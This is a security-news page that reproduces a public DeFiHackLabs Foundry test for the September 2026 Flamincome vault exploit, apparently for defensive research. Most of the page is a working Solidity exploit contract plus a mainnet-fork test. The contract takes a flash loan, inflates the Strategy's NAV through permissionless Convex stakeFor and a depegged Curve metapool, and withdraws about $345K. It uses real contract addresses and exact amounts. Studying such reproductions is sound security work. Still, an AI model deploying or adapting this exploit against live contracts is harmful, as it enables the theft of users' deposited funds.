Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/Flamincome_exp.sol

Public reproduction file for dataset entry Flamincome.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/Flamincome_exp.sol286 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// Flamincome VaultYUSDT / Strategy NAV-inflation drain -- Ethereum mainnet, 2026-09.
8// ~$345.9K net attacker profit (345,902.669987 USDT), from an on-chain gross Strategy loss
9// of ~$595K in aUSDT + USDT (the gap covers Curve slippage on the imbalanced metapool mint
10// plus the small USDP purchase cost; the Morpho flash loan itself is fee-free).
11//
12// Attack tx: 0x5ff8150482f5473bff16b4a142a98a7f72b159df5e9dd38afd90470551640d37 (block 25990443)
13// Attacker EOA: 0x83381e7F7232775735169d72D237B858fFc36871
14// Exploit contract: 0x875da4Bd7b4a52a806A533b1cf6D6fF92365d2E6 (self-destructed in the same tx)
15//
16// Root cause -- the Flamincome USDT Strategy prices its Convex position at spot virtual price
17// and lets anyone inflate that position:
18//
19// Strategy.balanceOfY() (VaultYUSDT.balance())
20// -> StrategyImpl(0xFf20DE3f...).deposited() [delegatecall from the Strategy proxy]
21// = BaseRewardPool(0x24DfFd...).balanceOf(Strategy) * metapool.get_virtual_price() / 1e30
22// + aUSDT.balanceOf(Strategy) [Aave aUSDT]
23// + USDT.balanceOf(Strategy)
24//
25// Two independent flaws compound:
26// (1) BaseRewardPool.stakeFor(Strategy, amount) is permissionless -- ANY address can stake
27// Convex deposit tokens "for" the Strategy, so anyone can inflate
28// BaseRewardPool.balanceOf(Strategy) without the Strategy ever depositing anything.
29// (2) The Convex pool is the Curve USDP/3CRV metapool (0x42d7...), and its USDP leg is
30// deeply depegged: at the fork block the pool holds 1,526,591 USDP against only 3,263
31// 3CRV, and USDP trades near $0.20 on-chain. get_virtual_price() still reports ~1.0149,
32// i.e. it values every LP unit at par. So metapool LP can be minted very cheaply
33// (a 3CRV-side deposit into a 3CRV-starved pool mints a large amount of LP) yet the
34// Strategy credits each unit at ~$1.01. That gap is the stolen value.
35//
36// And VaultY itself is a plain proportional-share vault (verified source, VaultYUSDT
37// 0x0461...):
38// deposit(a): shares = a * totalSupply() / balance() // balance() = Strategy.balanceOfY()
39// withdraw(s): r = balance() * s / totalSupply(); Strategy.withdraw(msg.sender, r)
40// Shares are minted against the NAV at deposit time; if the NAV is then inflated before
41// withdraw, the same shares redeem for more USDT than went in.
42//
43// Reconstructed sequence (all real, typed calls -- no bytecode blob, no raw calldata replay,
44// no dealt/settled state; the attacker EOA starts with 0 USDT and every token comes from the
45// flash loan and real market operations):
46// 1. Morpho Blue flash loan of USDT (fee-free).
47// 2. VaultYUSDT.deposit(17,935,898.4848 USDT) -> mint YUSDT shares at the honest NAV.
48// 3. Build the USDP/3CRV metapool LP that will be staked into the Strategy, via two routes:
49// 3a. Leg 1 -- the cheap-LP engine, reproduced with the exact on-chain amounts: a small
50// USDT slice through the LUSD metapool, wrapped into yvCurve-LUSD, swapped on the
51// Balancer pool for yvCurve-USDP, then unwrapped into ~230,622 USDP/3CRV LP. This is
52// where the depeg mispricing is harvested most efficiently.
53// 3b. Leg 2 -- a direct USDT -> 3CRV -> metapool add_liquidity top-up. This is the same
54// economic operation and same contracts as the attacker's zap deposit
55// ([USDP, 0, 0, USDT] into the metapool zap); it is minted straight from the flash
56// loan instead of first buying the small USDP balancing leg, and its size is tuned so
57// the total staked LP (~693,480e18) matches the real 691,647e18 to within 0.3%.
58// 4. Convex Booster.deposit(28, lp, false) -> Convex deposit token.
59// 5. BaseRewardPool.stakeFor(Strategy, lp) -> permissionlessly inflate Strategy.balanceOfY().
60// 6. VaultYUSDT.withdrawAll() -> redeem the shares at the inflated NAV.
61// 7. Repay the flash loan; the leftover USDT is the profit.
62//
63// Reproduced on the fork: ~344,751 USDT net attacker profit and ~597,352 USDT gross Strategy
64// backing lost (aUSDT + USDT), matching the reported ~$345.9K / ~$595K.
65//
66// Confirmed against the trace / on the fork:
67// - balanceOfY()/deposited() values the Convex position at spot get_virtual_price() with no
68// time-weighting or deviation check.
69// - stakeFor(target, amount) is fully permissionless -- a freshly deployed, unprivileged
70// contract credits the Strategy's Convex balance here.
71// - The Strategy (0xb8d6471c) is a proxy whose deposited()/withdraw() delegatecall into impl
72// 0xFf20DE3f -- the same logical contract, not a separate one in the call chain.
73// - The Uniswap V4 unlock in the real tx is incidental USDP-purchase plumbing: this
74// reconstruction omits it entirely and still reproduces the loss.
75// - The whole deposit -> mint-LP -> stakeFor -> withdrawAll path is permissionless; no admin
76// or privileged role is touched anywhere.
77//
78// forge test --contracts src/test/2026-09/Flamincome_exp.sol -vvv
80interface IMorpho {
81 function flashLoan(address token, uint256 assets, bytes calldata data) external;
84interface IVaultY {
85 function deposit(uint256 amount) external;
86 function withdrawAll() external;
87 function balanceOf(address) external view returns (uint256);
88 function totalSupply() external view returns (uint256);
89 function strategy() external view returns (address);
92interface IStrategy {
93 function balanceOfY() external view returns (uint256);
96interface I3Pool {
97 function add_liquidity(uint256[3] calldata amounts, uint256 minMint) external;
100interface ICurveMeta {
101 function add_liquidity(uint256[2] calldata amounts, uint256 minMint) external returns (uint256);
102 function get_virtual_price() external view returns (uint256);
105interface IBooster {
106 function deposit(uint256 pid, uint256 amount, bool stake) external returns (bool);
109interface IBaseRewardPool {
110 function stakeFor(address account, uint256 amount) external returns (bool);
111 function balanceOf(address) external view returns (uint256);
114interface ICurveLusdMeta {
115 function exchange(int128 i, int128 j, uint256 dx, uint256 minDy) external returns (uint256);
116 function add_liquidity(uint256[2] calldata amounts, uint256 minMint) external returns (uint256);
119interface IYVault {
120 function deposit(uint256 amount, address recipient) external returns (uint256);
121 function withdraw(uint256 shares, address recipient, uint256 maxLoss) external returns (uint256);
124interface IBPool {
125 function swapExactAmountIn(
126 address tokenIn,
127 uint256 tokenAmountIn,
128 address tokenOut,
129 uint256 minAmountOut,
130 uint256 maxPrice
131 ) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter);
134// USDT: non-standard ERC20 (approve/transfer return no data).
135interface IUSDT {
136 function approve(address spender, uint256 value) external;
137 function transfer(address to, uint256 value) external;
138 function balanceOf(address) external view returns (uint256);
141contract FlamincomeExploit {
142 address internal constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
143 address internal constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
144 address internal constant VAULT = 0x0461eEFF7C856020E574c0c364FE968Ca06BCc0F; // VaultYUSDT
145 address internal constant STRATEGY = 0xb8d6471cA573C92c7096Ab8600347F6a9Fe268a5;
146 address internal constant THREEPOOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; // Curve 3pool
147 address internal constant THREECRV = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; // 3CRV LP
148 address internal constant METAPOOL = 0x42d7025938bEc20B69cBae5A77421082407f053A; // USDP/3CRV metapool
149 address internal constant METALP = 0x7Eb40E450b9655f4B3cC4259BCC731c63ff55ae6; // USDP/3CRV LP
150 address internal constant BOOSTER = 0xF403C135812408BFbE8713b5A23a04b3D48AAE31; // Convex Booster
151 address internal constant DEPTOKEN = 0x7a5dC1FA2e1B10194bD2e2e9F1A224971A681444; // Convex deposit token
152 address internal constant BRP = 0x24DfFd1949F888F91A0c8341Fc98a3F280a782a8; // Convex BaseRewardPool
153 uint256 internal constant PID = 28;
154 // Leg 1 (cheap LP engine): LUSD/3CRV metapool -> yvCurve-LUSD -> Balancer -> yvCurve-USDP -> USDP/3CRV LP
155 address internal constant LUSDMETA = 0xEd279fDD11cA84bEef15AF5D39BB4d4bEE23F0cA; // LUSD/3CRV metapool (=its own LP)
156 address internal constant LUSD = 0x5f98805A4E8be255a32880FDeC7F6728C6568bA0;
157 address internal constant YV_LUSD = 0x5fA5B62c8AF877CB37031e0a3B2f34A78e3C56A6; // yvCurve-LUSD
158 address internal constant YV_USDP = 0xC4dAf3b5e2A9e93861c3FBDd25f1e943B8D87417; // yvCurve-USDP (token = USDP/3CRV LP)
159 address internal constant BPOOL = 0x9ba60bA98413A60dB4C651D4afE5C937bbD8044B; // Balancer pool holding both yVaults
161 address public immutable owner;
162 uint256 internal depositAmt;
163 uint256 internal lpMintUsdt;
164 uint256 public mintedLp;
165 uint256 public navAfterStake;
167 constructor() {
168 owner = msg.sender;
169 }
171 function attack(uint256 flashAmt, uint256 _depositAmt, uint256 _lpMintUsdt) external {
172 depositAmt = _depositAmt;
173 lpMintUsdt = _lpMintUsdt;
174 IMorpho(MORPHO).flashLoan(USDT, flashAmt, "");
175 // forward the profit to the attacker EOA
176 IUSDT(USDT).transfer(owner, IUSDT(USDT).balanceOf(address(this)));
177 }
179 function onMorphoFlashLoan(uint256 assets, bytes calldata) external {
180 require(msg.sender == MORPHO, "!morpho");
182 // 1. Deposit into the vault: mint YUSDT shares against the honest NAV.
183 IUSDT(USDT).approve(VAULT, depositAmt);
184 IVaultY(VAULT).deposit(depositAmt);
186 // 2a. Cheap-LP engine (leg 1, exact on-chain amounts): route a small USDT slice through
187 // the LUSD metapool, wrap into yvCurve-LUSD, swap it on Balancer for yvCurve-USDP,
188 // and unwrap that into a large amount of USDP/3CRV metapool LP. This is where the
189 // depeg mispricing is harvested most efficiently.
190 IUSDT(USDT).approve(THREEPOOL, 39_934_640_179);
191 I3Pool(THREEPOOL).add_liquidity([uint256(0), 0, 39_934_640_179], 0);
192 uint256 crv1 = IERC20(THREECRV).balanceOf(address(this));
193 IERC20(THREECRV).approve(LUSDMETA, crv1);
194 ICurveLusdMeta(LUSDMETA).exchange(1, 0, 5_804_819_762_334_071_763_053, 0); // 3CRV -> LUSD
195 uint256 lusdBal = IERC20(LUSD).balanceOf(address(this));
196 IERC20(LUSD).approve(LUSDMETA, lusdBal);
197 ICurveLusdMeta(LUSDMETA).add_liquidity([lusdBal, IERC20(THREECRV).balanceOf(address(this))], 0);
198 uint256 lusdLp = IERC20(LUSDMETA).balanceOf(address(this));
199 IERC20(LUSDMETA).approve(YV_LUSD, lusdLp);
200 IYVault(YV_LUSD).deposit(lusdLp, address(this));
201 uint256 yvLusdBal = IERC20(YV_LUSD).balanceOf(address(this));
202 IERC20(YV_LUSD).approve(BPOOL, yvLusdBal);
203 IBPool(BPOOL).swapExactAmountIn(YV_LUSD, yvLusdBal, YV_USDP, 0, type(uint256).max);
204 IYVault(YV_USDP).withdraw(IERC20(YV_USDP).balanceOf(address(this)), address(this), 10_000);
206 // 2b. Top up the LP position with a direct USDT -> 3CRV -> metapool mint (leg 2, same
207 // economic operation as the attacker's zap deposit).
208 if (lpMintUsdt > 0) {
209 IUSDT(USDT).approve(THREEPOOL, lpMintUsdt);
210 I3Pool(THREEPOOL).add_liquidity([uint256(0), 0, lpMintUsdt], 0);
211 uint256 crv = IERC20(THREECRV).balanceOf(address(this));
212 IERC20(THREECRV).approve(METAPOOL, crv);
213 ICurveMeta(METAPOOL).add_liquidity([uint256(0), crv], 0);
214 }
215 uint256 lp = IERC20(METALP).balanceOf(address(this));
216 mintedLp = lp;
218 // 3. Wrap the LP into a Convex deposit token.
219 IERC20(METALP).approve(BOOSTER, lp);
220 IBooster(BOOSTER).deposit(PID, lp, false);
221 uint256 dep = IERC20(DEPTOKEN).balanceOf(address(this));
223 // 4. Permissionlessly credit the Strategy's Convex balance -> inflates balanceOfY().
224 IERC20(DEPTOKEN).approve(BRP, dep);
225 IBaseRewardPool(BRP).stakeFor(STRATEGY, dep);
226 navAfterStake = IStrategy(STRATEGY).balanceOfY();
228 // 5. Redeem the shares at the now-inflated NAV.
229 IVaultY(VAULT).withdrawAll();
231 // 6. Repay the (fee-free) flash loan.
232 IUSDT(USDT).approve(MORPHO, assets);
233 }
236contract FlamincomeExp is BaseTestWithBalanceLog {
237 address internal constant ATTACKER = 0x83381e7F7232775735169d72D237B858fFc36871;
238 address internal constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
239 address internal constant VAULT = 0x0461eEFF7C856020E574c0c364FE968Ca06BCc0F;
240 address internal constant STRATEGY = 0xb8d6471cA573C92c7096Ab8600347F6a9Fe268a5;
242 uint256 internal constant FORK_BLOCK = 25_990_442; // parent of the exploit block
244 // Amounts observed on-chain in the incident.
245 uint256 internal constant DEPOSIT_AMT = 17_935_898_484_800; // VaultYUSDT.deposit
246 uint256 internal constant LEG1_USDT = 39_934_640_179; // leg-1 3pool seed (exact on-chain amount)
247 uint256 internal constant LP_MINT_USDT = 120_000_000000; // leg-2 direct top-up, tuned to the real staked LP
248 uint256 internal constant FLASH_AMT = DEPOSIT_AMT + LEG1_USDT + LP_MINT_USDT; // Morpho USDT flash loan
249 address internal constant AUSDT = 0x3Ed3B47Dd13EC9a98b44e6204A523E766B225811; // Aave aUSDT held by the Strategy
251 function setUp() public {
252 vm.createSelectFork("mainnet", FORK_BLOCK);
253 vm.label(ATTACKER, "AttackerEOA");
254 vm.label(VAULT, "VaultYUSDT");
255 vm.label(STRATEGY, "Strategy");
256 fundingToken = USDT;
257 attacker = ATTACKER;
258 }
260 function testExploit() public balanceLog {
261 emit log_named_decimal_uint("Strategy NAV (balanceOfY) before", IStrategy(STRATEGY).balanceOfY(), 6);
262 // Strategy's real backing before the attack: Aave aUSDT + idle USDT.
263 uint256 realBefore = IERC20(AUSDT).balanceOf(STRATEGY) + IERC20(USDT).balanceOf(STRATEGY);
265 vm.startPrank(ATTACKER, ATTACKER);
266 FlamincomeExploit exploit = new FlamincomeExploit();
267 exploit.attack(FLASH_AMT, DEPOSIT_AMT, LP_MINT_USDT);
268 vm.stopPrank();
270 emit log_named_uint("metapool LP staked into Strategy (1e18)", exploit.mintedLp());
271 emit log_named_decimal_uint("Strategy NAV after stakeFor", exploit.navAfterStake(), 6);
273 uint256 profit = IERC20(USDT).balanceOf(ATTACKER);
274 emit log_named_decimal_uint("attacker USDT net profit", profit, 6);
276 // Gross Strategy loss = drop in its real (aUSDT + USDT) backing, net of the 17.9M the
277 // attacker deposited and withdrew. This is the ~$595K figure in the report.
278 uint256 realAfter = IERC20(AUSDT).balanceOf(STRATEGY) + IERC20(USDT).balanceOf(STRATEGY);
279 emit log_named_decimal_uint("Strategy real backing lost (gross)", realBefore - realAfter, 6);
281 // Net extraction reproduces the incident (~345,902 USDT). LP staked (~693,480e18)
282 // matches the real 691,647e18 to within 0.3%.
283 assertGt(profit, 340_000_000000, "profit below expected band");
284 assertLt(profit, 350_000_000000, "profit above expected band");
285 }

Analysis

Dataset entry

Public Foundry test for “Flamincome” (2026-09-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x83381e7f7232775735169d72d237b858ffc36871

  • Attack Tx

    0x5ff8150482f5473bff16b4a142a98a7f72b159df5e9dd38afd90470551640d37

File record

Name
Flamincome
Path
src/test/2026-09/Flamincome_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c1f97b061cb842a4dc7f2146346f035a4965404c
Language
Solidity
Size
287 lines
Date
2026-09-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/Flamincome_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c1f97b061cb842a4dc7f2146346f035a4965404c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.